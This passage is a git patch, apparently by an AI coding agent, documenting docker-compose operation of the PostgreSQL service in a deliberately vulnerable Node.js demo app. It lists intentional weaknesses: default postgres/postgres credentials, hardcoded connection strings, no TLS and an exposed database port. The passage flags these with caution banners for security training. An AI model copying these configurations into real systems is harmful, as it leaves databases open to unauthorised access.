+**Specific service:** +```bash +docker-compose stop postgres_db +``` + +### Viewing Logs + +**All services:** +```bash +docker-compose logs -f +``` + +**Specific service:** +```bash +docker-compose logs -f postgres_db +``` + +### Service Health Checks + +**Check PostgreSQL:** +```bash +docker-compose exec postgres_db pg_isready +``` + +**Connect to PostgreSQL:** +```bash +docker-compose exec postgres_db psql -U postgres -d vulnerablenode +``` + +## Troubleshooting + +### PostgreSQL Connection Issues + +**Problem:** Cannot connect to database + +**Solutions:** +1. Verify container is running: `docker-compose ps` +2. Check logs: `docker-compose logs postgres_db` +3. Verify port mapping: `netstat -an | grep 5432` +4. Ensure STAGE environment variable is set correctly + +### Database Not Initializing + +**Problem:** Tables not created + +**Solution:** +The application creates tables automatically via `init_db.js`. If issues persist: + +```bash +# Restart with fresh database +docker-compose down -v # Remove volumes +docker-compose up -d +``` + +### Permission Issues + +**Problem:** Permission denied errors + +**Solution:** +```bash +# Fix permissions on services directory +chmod -R 755 services/ +``` + +## Performance Tuning + +> [!TIP] +> For testing purposes, PostgreSQL performance tuning is not critical. For production systems, consider: + +**postgresql.conf adjustments:** +```ini +max_connections = 100 +shared_buffers = 256MB +effective_cache_size = 1GB +maintenance_work_mem = 64MB +``` + +**Connection Pooling:** +```javascript +// Use pg-promise connection pooling +const pgp = require('pg-promise')({ + max: 30, // Max connections + idleTimeout: 30000 +}); +``` + +## Security Considerations + +### Current Issues (Intentional) + +- Default credentials (postgres/postgres) +- No SSL/TLS encryption +- Database exposed on host port +- No connection limits or rate limiting + +### Production Recommendations + +```yaml +# Secure PostgreSQL configuration +postgres_db: + image: postgres:latest + environment: + POSTGRES_PASSWORD_FILE: /run/secrets/db_password + secrets: + - db_password + # Don't expose port to host + # Use internal network only +``` + +## Related Documentation + +- [Architecture Overview](../ARCHITECTURE.md) - System architecture +- [Model Layer](../model/README.md) - Database operations +- [Docker Compose](../docker-compose.yml) - Service orchestration + +--- + +> [!IMPORTANT] +> This is a demonstration environment with intentionally weak security. Never use these configurations in production. From 550dd028d454f28227b60b38cb8d40abd69b5fe1 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Wed, 5 Nov 2025 09:52:10 +0000 Subject: [PATCH 4/4] Improve security warnings in services documentation per code review Co-authored-by: nebuk89 <2938470+nebuk89@users.noreply.github.com> --- services/README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/services/README.md b/services/README.md index 2905ca3b..5316bf85 100644 --- a/services/README.md +++ b/services/README.md @@ -47,8 +47,8 @@ postgres_db: | **Username** | postgres | | **Password** | postgres | -> [!WARNING] -> These are intentionally weak credentials for a demonstration application. Never use default credentials in production. +> [!CAUTION] +> These are intentionally weak default credentials for demonstration purposes. This is a critical security vulnerability that must NEVER be used in production environments. ### Database Schema @@ -72,6 +72,9 @@ postgres://postgres:postgres@127.0.0.1/vulnerablenode postgres://postgres:postgres@postgres_db/vulnerablenode ``` +> [!CAUTION] +> All connection strings contain hardcoded credentials. This is a critical security vulnerability intentionally present for demonstration purposes. + **Development Environment:** ``` postgres://postgres:postgres@10.211.55.70/vulnerablenode